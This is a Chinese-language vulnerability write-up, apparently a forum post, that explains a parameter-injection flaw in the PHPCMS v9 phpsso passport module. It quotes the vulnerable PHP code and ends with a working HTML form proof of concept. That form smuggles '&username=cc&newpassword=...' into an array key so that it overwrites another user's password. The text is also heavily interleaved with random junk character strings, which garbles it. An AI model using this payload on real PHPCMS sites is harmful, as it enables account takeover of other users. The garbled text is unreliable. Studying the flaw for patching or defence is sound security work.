提到的通行证的代码:: _# Q3 E, g& Z( g
1 F9 Z* A' M# P' C: t
) G! N7 p: W2 j9 x1 X/ |: v0 yparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
9 n8 ~1 m+ q6 |% O5 o1 v8 {" ]- F' C8 ~. V( h: W( [
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
4 G+ e, J9 C' m5 Z) r; r. y0 C6 z/ @ i3 r6 R9 R2 i G7 r2 Y
我把它留给了你们。
8 ]. q4 V0 V2 p) A2 A" m( b/ }不知道你们发现了它没有。# J. P7 k8 W# {- u8 Y
8 M) d) L6 b; `. b2 ]4 x我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。% Y$ `- W; A5 A I: e" c6 M" ?; _$ R
% s1 `& P% z9 U8 P- i) m所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。: c B# l- }8 f0 @/ x9 v
0 g2 u( m0 U) ?8 f6 [ B( }/ ]& Y& }也就是
3 ]) n; w/ k* `/ \! y! z) d. B5 u
9 y; F$ K% V' o2 y% o* fusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。5 v# |' [: G5 H4 O7 k
$ Z% r6 |1 Z; m; }: e5 j% T要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
4 N! u: u- O3 ~ H( Y5 l; Y. |- _
- g- `5 C/ W% Z: u9 `* O) H5 p
/ W' {$ [# ^, P- d其实我们有这样的机会,看看代码,如下:; [/ a, ?8 Y L. h2 J
1 \7 e# k$ H* r' ~
* c7 q/ W! o4 M" p" {
public function auth_data($data) {
6 F8 Y# M. V/ L, t: o0 Q* I7 B $s = $sep = '';8 f5 H" Q& `) r8 A! s9 M" ~1 `
foreach($data as $k => $v) {( y, ?5 z, H. z2 H/ g
if(is_array($v)) {
, U6 r! y+ K& _1 r $s2 = $sep2 = '';3 H5 A& p- g3 n
foreach($v as $k2 => $v2) {( e' f* J& n; T7 X. B* c3 g1 ~
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);: e+ u& @& @% i+ Y7 n2 Q9 z z
$sep2 = '&';# o) i4 Z |2 P9 O! u
}
! \( k7 {- O" Z! O $s .= $sep.$s2;
" f5 j+ J- @ b, t$ l& D } else {
6 h8 F1 F4 v3 c6 ` $s .= "$sep$k=".$this->_ps_stripslashes($v);$ y* q2 O% O: K$ n! q1 i6 K& r
}
# q* v# r. K) Z1 I $sep = '&';4 u, }' n) c, u; \
}6 h, l1 E) f3 q; }3 S
6 v' r$ j* ?- q2 m A4 x1 t $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));1 _: v9 t( a! ], F4 o* K" `
return $auth_s;5 h- w8 Q+ ?, u$ K3 k
}' N, y( C% n+ @% O
( U% }+ D8 s5 ]/ I7 S7 J5 |可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- G0 h) }* } m/ m1 b8 ]3 P) X2 }
+ j- Q+ S! i- N, n1 {5 f! d
举个例子. T: k7 I! Q6 O: \
" I& x4 B4 h: o3 `+ ?1 t; w$ \$a[aaa=a&bbb] = 'a';
. ^) s3 c- A$ o- p/ b% }6 A" I( V! }) A: t9 a6 {# R( N
会变成aaa=a&bbb=a5 Y- R: W4 Q! }1 V
; t5 Y( x' R3 B6 i0 S明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。8 m) H; f3 G) i
' w6 e: l3 J6 e7 R* y. |0 X
这个时候,我们可以再去看一个函数。- t2 Q; ^! {0 T5 u% r8 S0 d: P' ^( K
" C/ b2 e) Q6 k就在这个文件内:5 l9 m& d% \; R% G# W
' r' s* \ Y4 T0 [( c
, S( W: V7 d7 p) _) t; Epublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
: ?# P. l' J; z$ ~4 t/ @/ e! o if($email && !$this->_is_email($email)) {* X. e4 B3 k% B6 O9 I1 E" P7 e
return -4;
}& O% t% }9 _: U6 ^ }& u2 g( j, h% G
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. ~# @& [, s7 c9 m1 j' }6 A
}7 n. l* Z2 h5 Z) q3 X# n
$ f' q/ a/ G9 @/ B* T
这是向通行证发了这样一个请求。+ i9 A: t3 y. |5 [& K
) K. Q$ \6 b0 ^) y: g我们再跟到通信证代码里去看看,就会有所发现。
4 q0 k T! z. N: z0 q$ q Z" @% x
5 z% U8 C! K, T6 z( h7 T5 z3 y4 {6 k$ f$ @# i6 G! \
public function edit() { d0 w6 T, r8 X* \, ~5 O: K3 I
//能省就省,太长了不是吗?5 Q3 Y6 b v( q" k0 w1 H
4 `4 {0 p. i7 n' r
if($this->username) {
7 s5 M- H' D$ H( H% r! I8 y//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。$ P. H) t' G6 \9 P2 Q
$res = $this->db->update($data, array('username'=>$this->username));
5 h$ }0 C$ _6 N$ L" r7 k$ b } else {
3 Q, k; i% F& \9 `5 ^/ D file_put_contents('typeb.txt',print_r($data,1).$this->uid);
; k! x, D, \$ d7 r# L6 v $res = $this->db->update($data, array('uid'=>$this->uid));3 [! E" G& r4 s5 u% ]( E
}+ U* y, d$ ^& e# k# M. j6 k# ]
% W5 F9 |& _3 `% s, a+ K2 L! T
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:3 Z" u1 F: M% N* b; l
6 {7 J& J# P) H: r1 b& [$ o; x/ ^public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''): I- A& x1 {' ~' V4 h% t
' j K! q7 y' k" [, H/ ^: d3 v, C很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。& p+ B+ W/ j" N) e
3 c/ y% u; ]9 z9 O# \. x
我当然找到了:* s0 O2 E/ U8 X X5 A9 \- o
phpcms9/phpcms/modules/member/index.php5 {0 b9 Y3 _, i1 U
. _! H$ C7 l5 C) V% c/ h$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
& v1 A. i- ^4 x8 w; D5 w$ Z. k' i" F! h. k4 E4 b
然后就没有然后了。$ a3 p9 P8 H8 L8 G
5 A" n( A- `1 }, ?* P* `5 Y
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">$ d, K8 p- ?/ A4 K$ p9 f- [7 X
<table width="100%" cellspacing="0" class="table_form">
( A5 a! p$ m- H <tr>
3 Z3 E& K% x$ g' W, `' r! \ <th width="80">邮箱:</th> 4 s# |2 C* x4 Z N! u
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
+ _$ N# B9 [% ^" ^" Q </tr>! l$ c' K% O) K+ t0 ?9 H z( z9 c
<tr>) w1 P$ E. U0 V! n, m
<th width="80">原密码:</th>
: B2 c( W. C4 | n7 g- j <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
0 P5 G( {+ z2 C0 h! A; k# {4 k$ A </tr>% t* p" _: y6 G) K" m) N
<tr>
2 J) O( j4 t! r+ _1 g0 b <th>新密码:</th>
+ T; ?' P& O! U; y <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
% I, }" O; R- \: e' ^! J0 C1 F+ M </tr>+ I* L! x& w9 O6 D. N+ ]
<th></th>. F, Q5 L5 x8 H1 B) p/ N3 m, k
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
$ C7 Z" E. Z+ T2 v </tr>
1 T" R4 a' M0 f( C' {: ~9 q; H </table>
$ h- O7 N$ s1 X1 f X! B7 s. r
. t: ^( x% }0 W$ b3 q ' g5 Y& f; E5 f, y
</form>6 r' p, O' F B* a% F4 F6 S
|